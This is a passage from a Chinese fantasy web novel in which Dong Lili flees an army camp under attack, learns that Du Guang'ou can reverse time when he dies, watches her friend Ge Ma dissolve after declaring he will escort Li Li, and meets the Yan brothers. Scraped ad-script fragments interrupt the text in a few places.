董莉莉身处包围圈中,没有一杆枪指着她,似乎没有人看到她还在这里,所有的枪口都对准了场上另一个人。 杜光欧的速度似乎慢了一些,不像之前那么灵活、矫健,有些疲于应对似的,身体上也开始出现见血的子弹擦伤。 而董莉莉看着这一切,却苦于自己的无能为力。低头看了一眼自己手中的剑,猛然转身,朝开枪的枪手冲过去,她不知道自己在做什么,接连发生的一切让理智远去,只想这场毫无人性的单方面杀戮尽快停下。 她冲向最近的精锐兵,向他毫无章法地砍过去,然而对方只是往一旁一闪,便躲过了她的袭击。一个手刀打在手腕上,董莉莉痛呼一声,剑也随之落地。 就在这时,背后的枪声停了,她回过头去,向那个场地中央看去。 蓦然,她睁大了眼睛,感觉心脏紧紧地被捏住了。 杜光欧倒在地上,那个在枪林弹雨中活下来的人终是落败了。几个精锐兵同时按住他,控制着四肢、头颅,不让他做出哪怕一点的动作。精锐兵们配合得是那样娴熟,像是一早便训练过要如何抓住他。 “不要……”董莉莉又往那个包围圈跑过去,但是,精锐兵们也在朝他们唯一的敌人聚拢,将相对瘦弱的她挤了出去。一时间,场地里无比混乱,她像是突然被遗忘了,失去了自身的价值,没有人注意到她。 杜光欧的身影被一个个精锐埋没,再也无法从人海中挣脱出来,仿佛,和白熠对峙的一刻过后,他便失去了战无不胜的能力。 董莉莉想起来白熠和黎礼密谋的那番话,她不知道白熠做了什么,但是,无论他想出了什么针对杜光欧的计谋,他都成功了。 “放开他,放开——”董莉莉在外围无力地喊道,拼了命地往前挤。听到周围的精锐兵叫嚷着,说着如何将杜光欧制服。 此刻,她想起来,杜光欧曾经说,黎礼想要抓住他。 这样下去,他身上会发生什么? 他们会把他关起来吗?会对他严刑拷打吗? 他还有逃脱出来的机会吗? 这些想法一个接一个砸在心上,打得坑坑洼洼,她提着一颗破烂不堪的心,用力地往前挤。 就在这看似永不会停歇的混乱之中,一声长长的号角声在军营中响了起来。 那动静之大,仿佛像是太阳坠地的低吟,它盖住了所有的声音,成为了所有人耳中唯一的鸣响。 它持续了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阵子,而后声音渐弱,紧接着,一个嘶哑的通报声响破天际。 “敌袭——!” 更大的骚乱开始了,一时间叫嚷声、鼓声、下令声全都响了起来,整个军营都像煮水一样沸腾。 有人不停地喊着敌袭,精锐兵迅速地集结,流水一般凝聚成几股。处在场地的中央,董莉莉只觉得一片混乱。 就在这时,突然有人抓住了她的手臂。她看过去,发现那是一个戴着头盔的黎军士兵。男人拽着她,想要把她带走。董莉莉不知道对方是谁,猛烈地挣扎起来。 便是在这个时候,她听到这个士兵说道:“莉莉,没事,是我!我是葛马!” 听到这个名字,她突然不挣扎了,再度看向那个士兵,对方将头盔摘了下来,露出了一颗红色的脑袋,那的确是葛马没错。 董莉莉惊讶道:“葛马,你怎么会在这里……?” 葛马拉着她往人少的地方跑,“来不及解释了,这里马上就要变成战场了,我们得赶紧离开这里!” 董莉莉突然想到什么,停了下来,“光欧他还在这里!” 葛马说道:“没时间管他了,莉莉!” “不行!”董莉莉想要挣脱葛马的手,可是男人的力气很大,加上她自己已经很虚弱了,故而怎么也挣脱不开,“放开我,葛马,让我回去!” 红发男人难得十分强硬,拉着她根本不松手,把人拽的磕磕绊绊的,也还是不肯放慢脚步。 “贵人会照顾好自己的,暂时先让他忍耐一阵吧!” 混乱的军营中,没有人注意到逃亡的两人。 葛马牵着董莉莉离开了军营,跑出去了很远。太阳在天边露出了踪迹,他们在一条小溪旁停下了。周围有野生动物出没的迹象,植被也生长得相对密集,这里没有人烟的痕迹。 葛马撑着自己的膝盖,大口大口地喘着气,“累死我了,好久没跑这么快这么远了。” 董莉莉也坐下来平复着自己的呼吸,地面有些潮湿,但是她不以为意。看着那远方有硝烟升起的军营,她目光惆怅,就这么坐了一阵子,突然一声不吭地站起来,拔腿又要往回走。 葛马见状,立刻拦在她的面前。 “让开,葛马。”董莉莉没什么力气地轻声说。 葛马连连摇头,“你听见枪声了吗?那里已经开打了,现在回去太危险了。” 在云层之下,那个伏于地面的军营之中,隐隐传来了不绝的枪响。在他们所处的溪边,看不见那里发生了什么,只见鸟雀在飞散,巨响迟迟不停。 董莉莉却像没有听见那些声音似的,又要动身前往。 葛马直接按住了她的肩膀,不让她再向前了,“贵人好不容易救了你,你现在回去不是让他一番苦心白费了吗?” 听到对方的话,董莉莉回想起自己曾经也有过相同的想法。这让她短暂地回神,盯着眼前的男人,问道:“你怎么在这里,葛马?” 记忆里,这个红头发的男人和古古离开了暮落镇,似乎是前往了一个叫元城的地方,那之后就没有回来。 215. 世界的坦白1 葛马摸了摸鼻子,顾左右而言他,“总之这样那样,辗转流离了一番,就来到这里了。” 男人似乎并不打算解释清楚,董莉莉也懒得关心,她转而又问,“刚才是谁向黎军发起了进攻?” 葛马摩挲了一把下巴,“我没看到旗帜,但看方向,应该是从麦哲也来的吧?也有可能是元城。” 董莉莉盯着远方,陷入自己的沉思。 会是来救杜光欧的吗?还是单纯是其他与黎军为敌的势力? 葛马有些吵闹的声音在耳旁响起来,“刚才真的是太惊险了,不过还好有我在。不用感谢我,莉莉,救你是我的使命也是我的义务,这点恩情,你不用放在心上。” 董莉莉完全没听进去葛马说的话,沉浸在自己的思绪中。 不管突袭了黎军的是什么人,现在怎么看都是一个趁乱把杜光欧救出来的时机。 葛马像是看出了她的想法,移动了一下身体,挡住了董莉莉的视线,“等战争结束再回去吧,那时候肯定就安全了。” “不能确定哪一方会赢。”董莉莉沉静地分析着,葛马挡住她的视线,她就盯着眼前人的绿眼睛,“如果是黎军赢了,他们会把光欧带去不知道什么地方。” 红发男人连连摆手,说道:“总之现在回去不行,什么准备都没有,就这么空着手去营救,未免也——” “没关系,这是我一个人的事情。”董莉莉说道。经历了妹妹的事情,她已经不想将任何人牵扯进来了。这是她的复仇、她的营救,和其他人没有关系。 对面,葛马叹息了一声,说道:“莉莉,你这样会轻易地丢掉自己的性命……” “我还有什么选择吗,葛马?”董莉莉问道。她的目光清亮,可那里面却充满了绝望与悔恨,“我的亲人躺在那里,尸骨未寒。我最在乎的人也身在其中,生死不明。我不知道自己还有什么理由待在这里苟且偷生。” 她这一番话说完,对面的男人有些蔫了似的,低着头看向一旁,不再说什么阻止的话。她从他身边绕了过去,男人也没有再阻止她,只是静静跟了上来。 两人一前一后走着,溪水在他们身旁相伴而流。董莉莉感觉自己的双腿很沉重,抬不动,脚步也快不起来。但无所谓,她知道,只要一步步走下去,就能回到那个军营中去。 就这么走了一阵,葛马的声音在后面传来。 “莉莉,有些事情,我没有告诉你。”男人低着头,声音听起来有些萎靡。 董莉莉没有接他的话,头也不回地往前走。 后面的男人自言自语地嘀咕起来,“哎,我是不是不应该说,但是已经是这个时间了,很快一切就会结束……就算说了也没人记得我说过什么……” 男人的话乱七八糟的,她没听明白,也就没有理会。 葛马追了上来,和她并排走着,“莉莉,接下来我说的,你不要太过惊讶。” 董莉莉斜了他一眼,不甚在意地道:“什么,葛马?” 红发男人盯着,眼睛睁得大大的,声音也压低了,像这件事他只能让她听见一般,“贵人是不死的。” 他话音落下,只剩下水流的声音还在他们身边响起。 对方的话语在脑海中划过,没有留下什么,这已经不是她第一次听见这种说法了,“然后呢?” 葛马眨眨眼,不理解似的,向她问道:“你不惊?吗?” “不。” “啊,为什么?”葛马此刻反而震惊了起来。 “多多少少能感觉到一些东西吧。”董莉莉平静地说,“在那样的围剿中,他活了下来。被那么多把枪锁定着,躲开一次是巧合,次次都能躲避,就不是巧合了。” “那你为什么还要急着去救他……”葛马困惑地说,“明明知道他……” “因为我没看见。” “看见什么?” “看见你所说的‘不死’是究竟怎样的过程。”董莉莉道,“在我的眼里,他和我们所有人没什么太大的区别。” 听到这里,葛马突然来了兴致似的,和董莉莉解释道:“哦,原来是因为这个吗?其实你看不到是正常的,他的能力很特殊,这个世界上恐怕只有我能看见它到底是怎么运作的吧。不过,你相信我,莉莉,他的能力是真实存在的,我跟你仔细说说为什么你们察觉不到……” 董莉莉没有打断他,男人就开始涛涛不绝地讲了起来。 “严格意义上来说,贵人不是不死,而是能起死回生。在受到致命伤的时候,这个世界的时间会回退,回到他毫发无伤的那个时间点,而这个回退的过程,普通人是看不见的,只能经历他存活下来的那条生命线,这就是你们看不到他能力发动的原因。 “挺神奇的是吧,居然能通过这种方式操纵时间什么的。我一开始也不敢相信啊,最初注意到时间回退的时候,我正在海平面上睡大觉呢,睁开眼睛发现本该升起来的太阳居然又落下去了,还以为是自己眼花了,揉了半天眼睛,眼皮都揉疼了,可我没看错,太阳就是逆行了。 “然后呢,我就……呃,通过一些方式找到了问题的所在,那就是贵人。是他在翻来覆去地砍自己,导致这个世界的时间停滞了。我制止他,他还跟我生气了,可是救不回来的人就是救不回来……” 说到这里,葛马停顿了一下,像是一时陷入沉思。不过,片刻过去,他的话匣子又敞开了。 “他那样子还挺吓人的,混身是血,拿着剑不管不顾地往自己脖子上抹……但其实这样死亡他已经习以为常了,不管是那次导致他远征队团灭的征程,还是甾染的尖兵选拔赛,又或者在摄文戈首准备室去救大元帅的时候,再近一些,就是刚才在枪林弹雨之中的挣扎……” 听到这里,董莉莉不由侧目,看着旁边若有所思的西索人。男人话中提到的一部分经历,她并不熟悉,而且,她也不认为葛马会对那些事情有所了解,于是她朝他问道:“这些,你都是怎么知道的?” “我是怎么知道的……”他重复了一遍,像有些没反应过来话题为什么来到了自己身上,“我怎么知道的并不重要,重要的是,解释了这么多,莉莉,你这下该彻彻底底相信我了吧,贵人他真的真的不会死。” 董莉莉不置可否,只是问他,“如果哪个瞬间,他失去了那个所谓的能力呢?” “失去能力?不会吧……”葛马眨巴了几下眼睛,像从来没想过这个问题似的,但转瞬,他顿了一下,回忆起来什么一般,低声说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道,“……不过也不是没可能,毕竟他也不是最初就有这种能力,是这个轮回突然……” “轮回?” “不,没啥。” “……” “……”葛马为掩饰什么一般咳嗽了一声,有些心虚地看着一旁的溪水,可溪水不太给他面子,调了个弯往另一边流去了。 两人又往前走了一段,离那时不时传来枪声的军营越来越近,可董莉莉还是一点退缩的意思都没有。 葛马安静了一阵子,按捺不住似的又开启了话题,“莉莉,你不觉得他其实挺冷漠的吗?” “谁?” “贵人呀。” “我不觉得。” 葛马一声叹息,“哎呀,可是,我有对比,难免会这么认为。我总觉得这个他,非常地……超脱。该这么形容吗?我不确定。但我总觉得,他和我不是生活在同一个世界上,而是别的一些什么地方。贵人总是看着远方,向往着不知名的地方,莉莉,我时常觉得,他并没有和我们在一起。” 男人的话一窝蜂向董莉莉袭来,她被悲伤和痛恨折磨的脑袋总是要反应一阵,才明白对方在说什么。 那些控诉般的话语钻进耳中,她被动地回忆了一番,葛马所说的话,也并不是无迹可寻。 比如杜光欧总是望着漫天风雪,在所有人都厌恶严寒的时候,却说他最喜欢冬天。 比如在千钧一发的危机关头,别人都无比慌张的时候,只有他的目光坚定,像是种生命燃尽般深沉的凝望。 再比如,有些时候,他会发呆,看着天空或星空,像想要离开大地。 她还记得远征队抵达远海的那天,那个男人看着海平面,背对着所有人,一个上午都那么站着,一句话也不说。 ……那个时候,他在想什么呢? 就这么回忆了一番,董莉莉依然对身边同行的人说道:“不,葛马,你说错了。他一直和我们在一起,在乎着我们所在乎的事情,从来没有变过。” 葛马嘟囔了一声,声音弱下去,“可能你说的对吧,或许是我感觉错了。” 就在这时,远方传来了一阵声响,那是从未听过的号角声,它从黎军的驻扎地传来。 董莉莉望过去,只见大地很平静,天空很敞亮,只有熙熙攘攘的微弱声音源源不断传来,那是人与人之间的流血与磨擦所产生的隐蔽声响。 战争似乎要结束了,刚才那声长鸣的号角就是胜利一方的宣告。 于是加快了脚步,她急于回去,想知道是谁赢了,杜光欧有没有获救,还是被人带走了。 “莉莉……莉莉。” 葛马被她甩在后面,叫了她的名字好几次,可她使终没有停下。事到如今,无论男人说什么,都不会打消她前进的念头。夜明、光欧,他们还在等她,她必须尽快赶回去。 走着走着,身后的脚步声消失了。 一开始她并没有注意,走出一段之后,突然感觉自己的脚步声孤零零的。 她疑惑地回过头去,看向后方。葛马站在离她不远的地方,停在了一株在寒冷的石头缝中奋力生长的野草旁边。 男人注视着她,对她说:“莉莉,接下来的路,我不能跟你一起走了。” 216. 世界的坦白2 听他这么说,董莉莉缓缓地停下了脚步。她觉得有一点意外。虽然刚才强调报仇是自己一个人的事情,也不希望因为自己的决定将葛马牵连进来,但是,她以为摆脱对方的过程会很艰难。 毕竟,男人总是很热心,无论是在夏季潜入血皑王城展开营救那次,还是秋季和她两个人一起寻找杜光欧那次,葛马总是自告奋勇去做最危险的事,谁也拦不住。 但这次,他选择留在了原地。 虽然董莉莉只认识了这个红头发的西索人不到一年,但内心中已经把他当成非常要好的朋友,他们有过许多次过命的交情,彼此的信赖也比普通朋友深厚。 可现在,葛马似乎不打算帮助她了,尽管他们共同的敌人就在那个军营里,男人似乎也不打算再继续下去了。 董莉莉记得他说,他是为了给杜光遗报仇所以和他们一起行动。 他改主意了吗? 她并不清楚,其实她到现在连葛马为什么在这里、在这里做什么都不知道。 但无论因为什么,董莉莉都可以理解,或许对方有更重要的事。 虽然之前很多危机他们都是一起度过的,但不代表将来的危机也必须携手并进。 “没关系,葛马。”董莉莉说。此刻,他们正站在一条车轨压出的十字路口,一个向东,一个向西,“你去做你的事,我也去做我的事。” “……下次见面,我可能没办法再救你了。”葛马说。 “没关系。” 一切的选择都是她自己决定的,她会承担那之后的后果,不需要谁来拯救。 葛马的声音再度响起来,男人似乎不愿意就这么与她分道扬镳,“我要……我要去做一件不得不做的事。” “那就去吧,葛马。” “我要去做的……”葛马念叨着,声音不知为何有些颤抖,他的背弯了,拳头拧紧,犹豫了很久,终于把想说的话说出了口,“我要去做的,是护送黎礼,直到她抵达元城为止。而我不会让这个过程出任何差错,所以,如果你还要在这条路上阻拦的话,我就没法再和你站在同一边了……!” 一阵风吹过十字路口,掀动了女人的头发,面庞遮掩了一瞬,再露出来时,那上面的表情是空白的。 “你在说什么……” 为什么,葛马会说出这种话。 他说,他要去帮助黎礼? 为什么,包括白熠也好,他们一个两个,全都在说这种话? 董莉莉死死盯着葛马,连远处营地里那些细密的嘈杂也听不见了。自从这个男人出现开始,她还没有如此仔细地看过他。 短暂地回想了一番这个男人是谁,出身于哪里,他们如何相识,以及一起做过什么。她得出一个结论:对面是一个友人。 而友人说出这番话,其行为无疑可以用一个词去指代——背叛。 董莉莉开口,面无表情地说:“那是黎礼,杀害了光欧父兄的人,她的女儿在她的指使下杀害了我妹妹。你现在说,你要去帮助她?” 葛马张了张口,垂眸说道:“……是的。” “为什么?”董莉莉说,边说着,一种深藏的恨焰又燃了起来,“为什么你也好,白熠也好,你们都……她可是我们的仇人!” “是仇人,的确是这样。”葛马说道,“她也间接害死了对我很重要的人。但是,不能一直耽于过去,还有更重要的事情要去做。” “到底是什么重要的事?”董莉莉质问,感觉理智在崩解,她就要疯了。这一刻,她又回想起董夜明是如何死在自己的眼前,那一幕直接将一直维系到现在的冷静点燃,轰一声炸开,“白熠也在说这种话,你们究竟有什么重要的事,可以凌驾于这些恩怨之上?!” 葛马承受着董莉莉渐渐声嘶力竭的诘责,他低着头,不敢抬起来一般,说道:“那关系着这个世界的存续……时间不多了,它是现在唯一重要的事情。” 董莉莉根本没听葛马解释了些什么,她快步走上去,想要当着面质问男人这一切都是为什么。 临近了,她想抓住葛马的衣襟,手往前一拽,然而,却掏了一个空。 男人没有退后,只是她的手……从他身体里穿了过去? 董莉莉又尝试了一下——这次是试图在对方的脸上揍一拳,可还是失败了。 为什么碰不到他?董莉莉震惊地想道。 葛马站在原地,却是有些漫不经心地看向天边,那里,初阳正在缓慢地升起,带来一点不足以温暖大地的热量,他说道:“这寒冷,这永恒的冬日,你想过它什么时候能离开我们吗,莉莉?还是永远、永远与我们相伴,无论多少个日月轮回,多少兴亡交替,只有这永恒的冬日持续不变……” 董莉莉往后退了两步,皱眉打量着对方,超出常识的现象让她的脑袋有些转不过弯来。 葛马却似乎没有注意到她的困惑,不如说,从刚才开始他就是一副破罐破摔的模样,连暴露自己非人般的特质也不在乎,而且什么也不解释,“这个世界上的人,对我而言,都是非常要好的朋友。或许你不相信,你会恨我,但是我还是要说。即便是黎礼,她也是我的朋友,而她的事业,也是我的愿景。” “你知道你在说些什么吗,葛马……” 葛马的话很突兀,已经和前面的所有内容脱离了干系,像是在做一个漫长的总结,有关于生命,有关于他自己,“这些人的面孔……你们的面孔,还有你们的生命,你们的死亡,对我来说,就像日出和日落一样,见多了,也习惯了。” 董莉莉不明所以,“……” 葛马:“我始终,都只在乎几个人的生死。我知道这样有失偏颇,说是私心也不为过。在最后的最后,我希望他们能够活下去,看着我们战胜一切,突破严寒的枷锁。我想让一些人看到那之后的新世界,而莉莉,你是其中之一。” 董莉莉完全不理解葛马在说些什么,而对方似乎也没有让她听明白的意思。 只是在诉说自己的心境一般,男人继续说道,“所以,我把贵人引过来,我知道他能救你。但或许不应该这么做……你也好,大元帅也好,还有许多……我不应该干涉,但是我……” 那之后,葛马没再说什么,只是看着眼前的女人,有些勉强地笑起来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 而后,他开始分解。 字面意义上的分解,就像是化成了一个个颗粒,似光一般,他的身体开始解构,化成了许多细小的光斑。 那些光斑尚且完整的时候,葛马说道:“珍重,莉莉。” 而后,面容开始模糊,属于他的颜色逐渐淡去,形体变成一个个碎块,碎块溶解成颗粒,颗粒渐渐缩小,消失在了空气之中。 董莉莉看着这一切,茫然地看着,直到葛马整个人都消失在原地。 她木讷地转头,看向周围,但是,哪里都没有葛马的影子。 发生了什么……为什么,葛马会那样就消失在原地? 这究竟是怎么回事…… 她走到刚才葛马所在的地方,然而,那里空无一物。没有他的衣物,甚至没有一根红色的头发。男人就像是凭空解体了一般,当着她的面消失了。 他究竟是怎么做到的?董莉莉想不明白。 葛马到底是什么人?她也不太清楚了。 他说的那些话,究竟是什么意思? 她陷入无边的困惑。 董莉莉站一株坚强的野草旁,看着远方。 这时候,有一种悠远的心境出现在她心中。她像是就快要想起来什么一般,像是马上就要得到什么感悟。 她感觉有些东西在朝她奔袭而来,像是很久以前便存在的事物,也像是古老历史的召唤和启示。 她看着远方,以及那上面泛白的天空,还有那永远挂在低处的太阳。 他们究竟……活在一个怎样的世界上? 看着这一切,她回想着葛马消失的场景,又记起他说的那番有关杜光欧起死回生的话。 突然,她有种恍然之感,眼前的一切好像在颤动,有一层笼罩许久的迷雾就要被揭开,世界即将露出真貌。 这种感觉从何而来,她说不清楚。 就那么在原地待了一阵子,之前发生的事情依然难以理解。 关于葛马这个人、他所说的轮回、他突然的消失,以及关于杜光欧能力,还有她突然升起的恍忽之感,这一切,光是空想,什么结论也得不出来。 她放弃继续再思考下去,空谈永远是空谈,对一件事情的猜测往往有失偏颇,这个世界究竟是怎么样的,只有亲眼去看、去经历,才能得到最为真实的结论。 不去行动,只是待在原地的话,那些事情也不会突然就得出一个结论。 这么想着,董莉莉从困惑中抽身,按照之前的想法,又开始动身前往黎军的驻扎地。 距离那声敌袭的号角响起,到现在,时间已经过去了有一阵,军营方向的骚乱声越来越小,战争似乎已经告一段落了。 她离开了那个与葛马分别的十字路口,来到黎军军营的近处。几缕黑烟从其中升起,它们在泛白的天空中突兀地彰显着存在。 随着距离的接近,一种新的声音传入了她的耳中。 那是一种欢愉的嘈杂,像是什么人开展了一个大型的聚会,有许多人在里面欢腾、庆贺。 越过了最后一个遮挡视线的山丘,她看到了黎军军营的全貌。 217. 反将一军1 营地的军账依然整齐地排列在大地上,没有人将他们收起来,除了中心几个大营帐外,其它的几乎没有损毁的痕迹。 看着眼前的景象,董莉莉依稀还能想起,自己昨天夜里是如何在这个军营里奔逃。那时发生了太多事,现在想起来,就像一场场噩梦一般。 不,但那不是噩梦,她切实地经历过,对于她而言,这就是活生生的赤|裸现实。 她审慎地盯着军营里的动静,看到一小撮人聚集在一起,他们的模样似乎很欢乐,在围着什么东西庆贺。刚才听见的阵阵欢愉声,便是从这伙人之间传过来的。 距离太远,董莉莉看不清他们身上的装束,为了确认对方的身份,她往军营的边缘更靠近了一些。 她匍匐在地面,尽量缩小自己的身影,观察着远端。她渐渐看清了那伙人的模样,他们虽然穿着盔甲,但并不是黎军,看着觉得有些眼熟,可一时想不起来在哪见过。 这样看来,是黎军落败了? 这些人围着一根木桩载歌载舞,而当董莉莉开始观察中间的木桩时,心里不由一紧。 那上面,串着一个人。 人显然已经死了,整副身体被烧得像黑炭一样,但火烧的酷刑似乎并不能让这些人满意,他们仍要以这种方式羞辱那人的残躯。 就在董莉莉试图辩认木桩上惨死的人是谁时,突然,一阵马蹄声在近处响了起来。 她目光一震,心中暗叫不妙,声音太近了,而这附近没有可以躲藏的地方,自己甚至还穿着黎军的盔甲。这种情况能在军营周围闲逛的肯定是胜利的一方,要是自己被当成是黎军就惨了! 董莉莉尝试去解碍事的盔甲,然而,她有些手忙脚乱,半天也解不开,眼看着来不及,她当即从地上爬起来就要逃跑。 可是没跑两步,一声枪响在身后炸开,子弹打在她身前,溅起尘土飞扬。 那是警示性质的一枪,她不敢再跑一步了,僵着身体停在了原地。 马蹄声临近,一个男人的声音传来,“转过来。” 听到对方的指令,董莉莉缓慢地转了过去,一边小心翼翼地说道:“我不是黎军,请别攻击我……” 回过身来之后,她先是看到了一匹黑马,那马的毛色黝黑发亮,身姿矫健壮硕,应该是一匹为了战争而生的战马。 再往上看去,一张有些淡漠的脸露出来,董莉莉一下子睁大了眼睛,她认识这个人。在看到面庞的一瞬间,一个名字也在记忆中浮现了出来,“你是……燕无?” 燕无骑在马上,面上亦有些惊讶,他一拽缰绳,让马头偏去一旁,以便看清地上的人,“你是当时在甾染追着杜光欧的那个……后来我们在暮落镇也见过。” “对……是我。” 董莉莉一时不知该说什么好,短短一天遇到了太多的人、太多的事,她连惊讶都惊得有些疲倦了。 记忆里,上一次见到这个甾染内承,是在法陆贡旁边的暮落镇。那次血皑人和甾染人聚在一起,其乐融融地围坐在一起吃饭,结局却不怎么美好。董莉莉的盆栽里掉出来了一把枪,而这个燕无瞬间就和他们翻脸,最终还是他大哥燕戎陵把他带走了,顺便拿走了那把枪。 听说后来他们把枪拿去仿制了,看现在男人背后的那把武器,他们应该是仿制得挺成功。 燕无骑在马背上,俯视着她,问道:“你怎么会在这里?还穿着黎军的盔甲,你和他们什么关系?” 董莉莉连忙解释道:“暮落镇被黎军毁了,我和妹妹追着他们一路而来,是为了混进军队才穿成这样……” 燕无顿了顿,问道:“暮落还有人活着吗?” 董莉莉如实说道:“应该是没有了……” 燕无皱眉,模样有些低沉。 “啊,但是古古没事。”董莉莉以为对方是因为这件事而愁眉不展,补充道,“她和葛马……就是那个红头发的小哥,你还记得吗?他们两人有事离开了,去找一个叫元城的地方,一直没回来,因此躲过了一劫。” “古古的事我知道。”燕无虽然仍居高临下,但听完董莉莉刚才那番话后,音色却平和了几许,“你混入黎军之中,是想要做什么?” “有一对被黎军挟持的母子,我想把他们救出来。”董莉莉说道。 燕无状似沉思,“母子……一个金发的女人吗?” 董莉莉一听,忙问道:“是的,你见到过她吗?” 燕无道:“他们留下来了。” “呃……留下来?” 燕无的话很简短,就和他在甾染那时给董莉莉留下的印象一样,她总觉得他和杜光欧有相似之处,但这高大的男人更加忧郁,也在生人的面前更不爱说话。不像杜光欧,常常会发表一些长篇大论,不管别人爱不爱听。 还没等董莉莉理解燕无的“留下来”是什么意思,男人驱马,走到了董莉莉的身边,那黑色的骏马围着她转了一圈,好奇地嗅了嗅她的头发。 “上来。”燕无简短地说道。 看对方的意思,似乎是被接受了,董莉莉不敢怠慢,生怕慢了一步对方就要收回刚刚露头的友善,连忙上了马。 黑马很壮实,即使载着两个人也毫不费力。阵阵携着血和烟的气息扑面而来,他们向军营的内部赶去。 营地深处,地上四散的都是尸体,他们大多是黎军的装束,也有一小部看起来是其他阵营的士兵。董莉莉分辨了一阵子,突然想起来自己在哪里见过这种军装,“这些士兵……是从麦哲也来的?” 只有那里的士兵才会穿这种自由奔放的军装,那几乎和常服没什么差别,只保护住了弱点和命脉,几乎不像是打仗的士兵会穿的战甲。 燕无出声,说道:“是。” “他们是你带过来的?”董莉莉问。 “是我大哥燕戎陵。”燕无道,拽了拽一侧的缰绳,黑马在他的提示下往右手边拐弯,“我在麦哲也没什么号召力。” 从麦哲也而来的士兵占领了这里,尽管他们的人似乎也阵亡了不少,但他们依然高歌着,欢呼着,为了胜利而庆祝。这和董莉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 莉印象里的战争不一样,战争总是艰苦的、充满了悲情和牺牲的,在结束之后,很少有人会当场庆祝,人们只想收拾好自己,捡走同伴的尸体,回到家里,不用担心明天是否还能活下去那般、安心地睡上一觉。 但是,麦哲也的士兵非常地激动,即便地上满是同伴的尸体,而仅存的人更是所剩无几,他们却似乎无法停止疯狂,仿佛只有庆贺这一切,才能祭奠死去的战友。 有些士兵看到了燕无和董莉莉两人,他们注意到了女人身上的黎军军装,不由纷纷投来视线。董莉莉这才想起来自己身上穿了什么,连忙去拆盔甲,费了好大劲,终于脱了下来,随手就扔到了马下。 又跑了一阵,他们来到了一个营帐之前,那是主帅营帐,旁边立着麦哲也的帅旗,整体加固得比其它军帐都要牢固。董莉莉环视了一圏,她记得这附近应是关押克拉娜和白祁的地方。 马停了下来,燕无没说什么,只是侧过头来。董莉莉知道,那是让她下马的意思。如果自己不先行动,燕无也很难下来。 她踩住男人空出来的脚蹬,颤颤巍巍下马,这不能怪她无力,身体已经因一夜的奔波而疲乏,而且这黑马也实在太过高大了。 几乎是在她落地的一瞬间,燕无也已经下来了,他下马的动作那般流畅,就仿佛生来活在马背上一样。 男人把马牵走,拴在营帐旁边,忙这些的时候,他背对着董莉莉说道:“大哥在里面,你要找的人,他知道在哪。” 董莉莉听闻,走近营帐,掀起帐帘,看见里面有几个人的身影,他们都穿着麦哲也的军装,围在一个桌子旁边,似乎在一起看什么东西。 听到门口的响动,几个人齐唰唰回过头来。里面有一个戴着鹿皮圆帽的男人,他嘴里叼着一根枯草,看到来人,惊讶地站了出来,“你是……董莉莉吗?” 男人是燕戎陵,暮落镇的镇长。董莉莉只见过他一面,就是在那场血皑人与甾染人不太愉快的聚餐上,但是,他们在暮落镇的时候没少受到副镇长的照顾,副镇长的嘴中,镇长是一个平易近人、有求必应的大好人,这致使董莉莉对他的印象一直都不错。 只是,一看到他,董莉莉就想起来暮落镇的惨状,不知道对方是否已经知道小镇的遭遇,她不想做这个传递坏消息的人,但觉得有据实相告的必要。 “镇长,暮落镇被黎军……”董莉莉斟酌着字句,在寻找一些不那么骇人的词汇。 但是,燕戎陵却像是了然一般,“我知道,有人告诉我了。没想到还有人活着,真是太好了。” 他轻描淡写地说着,脸上没有什么别的情绪。但董莉莉知道,此刻,这人男人一定不太好受,听说那个镇子是他在一片荒地之上建设起来的,里面的镇民大多也都是曾经一同走南闯北的兄弟。 这时候,燕无从营帐外面走了进来,说道:“哥,周围已经没有黎军的人了,在附近徘徊的都已经剿灭。” “好,我知道了。”燕戎陵给了军帐中几个麦哲也的将士一个眼神,示意他们先出去。 218. 反将一军2 等那些人离开后,燕无又道:“黎礼带走的那伙人,他们的行进速度并不快,看着已经相当疲惫,如果我们要追击的话,最好现在就启程。” 燕戎陵却说道:“他们很疲惫,但是,我们也很疲惫,这场战争死去了很多人。虽然我们有备而来,而且占尽了地理优势,重伤了黎军,但是,我们从麦哲也带来的士兵也几乎全军覆没。枪战之下,士兵们的存活率太低了。” “……麦哲也的大人物们以为有了枪的加持,所有的战争都会不在话下。”燕无说道,模样有些厌弃,“他们还在等着我们把人还回去。怎么办,哥?我们几乎连一只小分队都带不回去。” 燕戎陵叹息了一声,说道:“唉,走一步看一步吧。” 董莉莉听到了他们的交谈,在两人的谈话内容告一段落后,她问道:“你们刚才说,黎礼跑了?” 燕戎陵回答她,“嗯,她带着一伙人离开,往北边去了。” 燕无走向营帐中央的桌子,看着那上面的牛皮纸,问道:“这是黎军留下的路线图吗?” 燕戎陵回身看了一眼,答道:“是。” “他们这是往横古山脉去了?” “看样子是。” “终点是……这不是个雪山吗?这帮人急着去送死?”燕无道。 燕戎陵也凑过来,看着那地图,“是不是送死不知道,但他们确实很急迫。士兵疲乏也不停歇,致使交战的时候,近身战完全不是我们的对手。” 此刻,董莉莉的心思完全不在兄弟二人所聊的方面上,她向燕戎陵问道:“和黎礼一同离开的都有谁?” 燕戎陵沉吟一声,回答她,“我只看到有一伙人走了,具体没太看清,燕无,你看见了吗?” 燕无:“黎礼身边还有两个女人,一直跟着她的那个血皑大将军死了,剩下的都是些虾兵蟹将。他们带走了几辆马车,马车里具体有什么就不知道了。” 董莉莉听到这里,“光欧可能在那里……” 听到这里,燕无皱了皱眉,“谁?” 董莉莉说道:“杜光欧。甾染那时候,你应该见过他。” “就算没见过,我也知道这个人是谁。”燕无的表情浮出了一丝困惑,“你说他在那里是什么意思?” “他被黎礼俘获了。” 燕无停顿了一下,“……你们这伙人,怎么哪都有你们?” 燕戎陵听闻弟弟的话语,有些好奇地看着他们,“怎么和杜光欧还有什么关系?” 燕无眼中有些复杂的情绪,说道:“那家伙出现在甾染,教唆父亲向血皑城出兵,但是被我拒绝了。我不知道当时的选择是对是错……可就算按照对方的想法,向血皑进军,当时的甾染也不是黎礼的对手,无异于飞蛾扑火。” 